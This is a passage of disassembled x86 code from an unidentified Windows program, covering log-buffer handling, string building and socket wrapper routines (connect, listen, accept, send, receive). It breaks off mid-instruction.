--------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419AB0: ; CODE XREF: ___:0040150Fj sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_419AE3 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_419AE3 mov [esp+18h], eax loc_419AE3: ; CODE XREF: ___:00419ACBj ; ___:00419ADDj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov esi, offset dword_508E3C loc_419AF8: ; CODE XREF: ___:00419B49j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_419B4B cmp byte ptr [esi], 0 jz short loc_419B34 mov eax, [esp+30h] test eax, eax jz short loc_419B28 mov ecx, [esp+10h] test ecx, ecx jnz short loc_419B28 push eax push esi call near ptr 77C47C60h nop add esp, 8 test eax, eax jz short loc_419B34 loc_419B28: ; CODE XREF: ___:00419B0Fj ; ___:00419B17j push edi push esi push ebx push ebp call sub_40152D add esp, 10h loc_419B34: ; CODE XREF: ___:00419B07j ; ___:00419B26j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_50CE3C mov [esp+14h], edx jl short loc_419AF8 loc_419B4B: ; CODE XREF: ___:00419B02j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419B90: ; CODE XREF: ___:00402289j push ebx mov ebx, dword_511B04 push esi push edi mov edi, [esp+10h] mov esi, offset dword_508E3C loc_419BA2: ; CODE XREF: ___:00419BBEj cmp byte ptr [esi], 0 jz short loc_419BB2 push edi push esi call ebx add esp, 8 test eax, eax jnz short loc_419BC6 loc_419BB2: ; CODE XREF: ___:00419BA5j add esi, 80h cmp esi, offset dword_50CE3C jl short loc_419BA2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_419BC6: ; CODE XREF: ___:00419BB0j pop edi pop esi mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419BE0 proc near ; CODE XREF: sub_4010D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax call near ptr 27C0000h nop mov edi, dword_511B08 mov esi, offset dword_50CE3C loc_419BFB: ; CODE XREF: sub_419BE0+3Bj cmp byte ptr [esi], 0 jz short loc_419C0F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi add esp, 0Ch loc_419C0F: ; CODE XREF: sub_419BE0+1Ej sub esi, 80h cmp esi, offset dword_508E3C jge short loc_419BFB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset dword_508E3C nop call near ptr 77C3FA76h add esp, 28h pop edi pop esi add esp, 10h retn sub_419BE0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419CB0: ; CODE XREF: ___:004012DAj sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov ecx, 80h lea edi, [esp+210h] mov ebp, dword_511B08 push 1FFh rep stosd mov ecx, 80h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_419D21 mov [edx+180h], al loc_419D21: ; CODE XREF: ___:00419D19j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_419E32 loc_419D3F: ; CODE XREF: ___:00419E25j lea edx, [esp+10h] push ebx push edx nop call near ptr 77C47C60h mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp lea ecx, [esp+24h] push 1FFh lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_419E00 lea eax, [ebx-1] test eax, eax jz short loc_419E00 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_419DDD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push offset aSSS ; "%s%s%s" push ecx nop call near ptr word_5F67AE add esp, 14h jmp short loc_419E00 ; --------------------------------------------------------------------------- loc_419DDD: ; CODE XREF: ___:00419DAEj mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push offset aSS_3 ; "%s%s" push ecx nop call near ptr word_5F67AE add esp, 10h loc_419E00: ; CODE XREF: ___:00419D8Aj ; ___:00419D91j ... mov edx, [esp+61Ch] mov esi, dword_511B04 push edx push ebx call esi add esp, 8 test eax, eax jnz short loc_419E2B lea eax, [esp+10h] push ebx push eax call esi add esp, 8 test eax, eax jnz loc_419D3F loc_419E2B: ; CODE XREF: ___:00419E16j mov esi, [esp+614h] loc_419E32: ; CODE XREF: ___:00419D39j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_419ED0: ; CODE XREF: ___:004018DEj sub esp, 10h push esi push 0 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_419EEE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419EEE: ; CODE XREF: ___:00419EE5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax nop call near ptr 71AB2B66h lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 call near ptr 71AB3E00h nop test eax, eax jz short loc_419F39 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419F39: ; CODE XREF: ___:00419F2Fj push 7FFFFFFFh push esi nop call near ptr 71AB88D3h test eax, eax jz short loc_419F51 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419F51: ; CODE XREF: ___:00419F47j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419F90: ; CODE XREF: ___:00401E83j push edi xor edi, edi mov eax, offset byte_4E02B5 loc_419F98: ; CODE XREF: ___:00419FA8j cmp dword ptr [eax], 0 jz short loc_419FAA add eax, 316h inc edi cmp eax, offset byte_4E7E25 jle short loc_419F98 loc_419FAA: ; CODE XREF: ___:00419F9Bj cmp edi, 13h jle short loc_419FB4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419FB4: ; CODE XREF: ___:00419FADj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, dword_511C00 push esi lea eax, [eax+eax*4] lea esi, ds:4E01BBh[eax*2] mov eax, [esp+10h] push eax push esi call ebx mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx add esp, 10h mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A050 proc near ; CODE XREF: sub_4013F2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_4D8745 loc_41A058: ; CODE XREF: sub_41A050+18j cmp dword ptr [eax], 0 jz short loc_41A06A add eax, 316h inc edi cmp eax, offset byte_4E02B5 jle short loc_41A058 loc_41A06A: ; CODE XREF: sub_41A050+Bj cmp edi, 13h jle short loc_41A074 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_41A074: ; CODE XREF: sub_41A050+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, dword_511C00 push esi lea eax, [eax+eax*4] lea esi, ds:4D864Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx add esp, 10h mov eax, edi pop esi pop ebx pop edi retn sub_41A050 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A110 proc near ; CODE XREF: sub_401C49j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43F0BC mov eax, dword_50DB08 test eax, eax jnz short loc_41A148 mov eax, dword_50DB08 inc eax mov dword_50DB08, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h nop call near ptr 71AB664Dh jmp short loc_41A155 ; --------------------------------------------------------------------------- loc_41A148: ; CODE XREF: sub_41A110+19j mov edx, dword_50DB08 inc edx mov dword_50DB08, edx loc_41A155: ; CODE XREF: sub_41A110+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_448F40 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_41A110 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A1E0 proc near ; CODE XREF: ___:004018E3j sub_401B09j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401FE6 test [esp+4+arg_0], 1 jz short loc_41A1F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41A1F8: ; CODE XREF: sub_41A1E0+Dj mov eax, esi pop esi retn 4 sub_41A1E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A210 proc near ; CODE XREF: sub_401FE6j mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43F0BC test al, al jnz short loc_41A225 call sub_4014E7 loc_41A225: ; CODE XREF: sub_41A210+Ej mov eax, 1 mov ecx, dword_50DB08 cmp ecx, eax jle short loc_41A240 mov eax, dword_50DB08 dec eax mov dword_50DB08, eax locret_41A23F: ; CODE XREF: sub_41A210:loc_41A240j retn ; --------------------------------------------------------------------------- loc_41A240: ; CODE XREF: sub_41A210+22j jnz short locret_41A23F mov ecx, dword_50DB08 dec ecx mov dword_50DB08, ecx nop jmp near ptr 71AB4428h sub_41A210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A280: ; CODE XREF: ___:004015AAj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43BFCB push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_40196A test al, al jz loc_41A331 mov al, [esi+80Bh] test al, al jz short loc_41A2B9 mov al, 1 jmp short loc_41A331 ; --------------------------------------------------------------------------- loc_41A2B9: ; CODE XREF: ___:0041A2B3j push ebx push edi mov edi, [esp+830h] push 800h lea eax, [esi+6] push edi push eax nop call near ptr 77C47A90h mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401186 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_401640 push eax mov ecx, esi call sub_4020E5 lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_40187A mov al, bl pop edi pop ebx loc_41A331: ; CODE XREF: ___:0041A2A5j ; ___:0041A2B7j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A390 proc near ; CODE XREF: sub_40196Aj mov al, byte_444DBC retn sub_41A390 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A3B0 proc near ; CODE XREF: sub_4020E5j var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_40196A test al, al jnz short loc_41A3D0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A3D0: ; CODE XREF: sub_41A3B0+12j mov al, [esi+80Bh] test al, al jnz loc_41A571 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A40A mov ecx, esi call sub_4014E7 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A40A: ; CODE XREF: sub_41A3B0+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A419 push 1 jmp short loc_41A41B ; --------------------------------------------------------------------------- loc_41A419: ; CODE XREF: sub_41A3B0+63j push 0 loc_41A41B: ; CODE XREF: sub_41A3B0+67j mov ecx, esi call sub_4018CA mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax nop call near ptr 71AB2B66h mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di nop call near ptr 71AB406Ah mov ebp, dword_511C50 test eax, eax jge short loc_41A4BC call ebp cmp eax, 2733h jz short loc_41A4AD call ebp cmp eax, 0Bh jz short loc_41A4AD call ebp cmp eax, 2733h jz short loc_41A4AD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A4AD: ; CODE XREF: sub_41A3B0+D6j ; sub_41A3B0+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_41A56A loc_41A4BC: ; CODE XREF: sub_41A3B0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, dword_511C94 mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi test eax, eax jge short loc_41A530 loc_41A4FB: ; CODE XREF: sub_41A3B0+17Ej call ebp call ebp cmp eax, 4 jnz short loc_41A545 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_41A514 mov eax, [esp+128h+var_118] test eax, eax jz short loc_41A545 loc_41A514: ; CODE XREF: sub_41A3B0+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi test eax, eax jl short loc_41A4FB loc_41A530: ; CODE XREF: sub_41A3B0+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A561 mov edx, [esp+128h+arg_8] push edx jmp short loc_41A563 ; --------------------------------------------------------------------------- loc_41A545: ; CODE XREF: sub_41A3B0+152j ; sub_41A3B0+162j mov ecx, esi call sub_4014E7 mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A561: ; CODE XREF: sub_41A3B0+189j push 0 loc_41A563: ; CODE XREF: sub_41A3B0+193j mov ecx, esi call sub_4018CA loc_41A56A: ; CODE XREF: sub_41A3B0+106j mov byte ptr [esi+80Bh], 1 loc_41A571: ; CODE XREF: sub_41A3B0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_41A3B0 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A600 proc near ; CODE XREF: sub_4014E7j push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_41A61A cmp eax, 0FFFFFFFFh jz short loc_41A61A push eax call near ptr 71AB9639h nop loc_41A61A: ; CODE XREF: sub_41A600+Cj ; sub_41A600+11j mov ecx, esi call sub_401375 mov byte ptr [esi+80Bh], 0 pop esi retn sub_41A600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A640 proc near ; CODE XREF: sub_401375j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_448F40 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_41A640 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A6B0 proc near ; CODE XREF: sub_401492j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41A6C6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A6C6: ; CODE XREF: sub_41A6B0+Dj mov al, [esi+80Bh] test al, al jnz loc_41A77F push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A6FB mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A6FB: ; CODE XREF: sub_41A6B0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41A754 mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A754: ; CODE XREF: sub_41A6B0+92j mov ecx, [esi+806h] push 32h push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41A778 mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A778: ; CODE XREF: sub_41A6B0+B6j mov byte ptr [esi+80Bh], 1 loc_41A77F: ; CODE XREF: sub_41A6B0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_41A6B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_401B95j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_40196A test al, al jnz short loc_41A7EE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A7EE: ; CODE XREF: sub_41A7D0+11j mov al, [esi+80Bh] test al, al jnz short loc_41A805 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A805: ; CODE XREF: sub_41A7D0+26j mov al, [esi+80Ch] test al, al jnz short loc_41A881 call sub_40196A test al, al jz short loc_41A874 mov edi, dword_511C94 loc_41A81E: ; CODE XREF: sub_41A7D0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi test eax, eax jz short loc_41A86B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A881 loc_41A86B: ; CODE XREF: sub_41A7D0+84j call sub_40196A test al, al jnz short loc_41A81E loc_41A874: ; CODE XREF: sub_41A7D0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A881: ; CODE XREF: sub_41A7D0+3Dj ; sub_41A7D0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_41A8A4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_41A8B6 ; --------------------------------------------------------------------------- loc_41A8A4: ; CODE XREF: sub_41A7D0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_41A8B6: ; CODE XREF: sub_41A7D0+D2j mov eax, [esi+806h] push eax call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_41A8D9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A8D9: ; CODE XREF: sub_41A7D0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_402108 mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_41A7D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A960 proc near ; CODE XREF: sub_402108j arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_41A960 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A990 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401B4F retn 0Ch sub_41A990 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A9C0 proc near ; CODE XREF: sub_401B4Fj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_41AB24 mov al, [esi+80Bh] test al, al jz loc_41AB24 mov edi, dword_5118AC call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41AABC mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41AABC call sub_40196A test al, al jz loc_41AABC loc_41AA1B: ; CODE XREF: sub_41A9C0+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_41AB24 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax nop call near ptr 71AB2DC0h test eax, eax jz short loc_41AAAF mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz loc_41AB24 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41AABC loc_41AAAF: ; CODE XREF: sub_41A9C0+BCj call sub_40196A test al, al jnz loc_41AA1B loc_41AABC: ; CODE XREF: sub_41A9C0+39j ; sub_41A9C0+48j ... call sub_40196A test al, al jz short loc_41AB24 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx nop call near ptr 71AB615Ah mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_41AAF1 mov [ecx], eax loc_41AAF1: ; CODE XREF: sub_41A9C0+12Dj cmp eax, 0FFFFFFFFh jz short loc_41AB09 test eax, eax jz short loc_41AB09 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AB09: ; CODE XREF: sub_41A9C0+134j ; sub_41A9C0+138j nop call near ptr 71AB94DCh pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AB24: ; CODE XREF: sub_41A9C0+13j ; sub_41A9C0+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_41A9C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ABA0: ; CODE XREF: ___:00401622j mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_41ABF1 mov dl, [ecx+80Bh] test dl, dl jz short loc_41ABF1 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0Ch] test ecx, ecx jz short loc_41ABD2 mov [ecx], eax loc_41ABD2: ; CODE XREF: ___:0041ABCEj cmp eax, 0FFFFFFFFh jz short loc_41ABE0 test eax, eax jz short loc_41ABE0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_41ABE0: ; CODE XREF: ___:0041ABD5j ; ___:0041ABD9j nop call near ptr 71AB94DCh cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_41ABF1: ; CODE XREF: ___:0041ABA9j ; ___:0041ABB3j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AC20: ; CODE XREF: ___:004019BFj push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40196A test al, al jnz short loc_41AC3C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC3C: ; CODE XREF: ___:0041AC32j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AC52 loc_41AC48: ; CODE XREF: ___:0041AC8Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC52: ; CODE XREF: ___:0041AC46j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41ACB6 mov edi, ebp loc_41AC6B: ; CODE XREF: ___:0041ACB4j cmp edi, ebx jz short loc_41ACB6 cmp [esp+18h], bl jz short loc_41ACB6 call sub_40196A test al, al jz short loc_41ACB6 mov ecx, [esp+10h] push ebx push 1 push edi call sub_40196F test al, al jz short loc_41AC48 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short 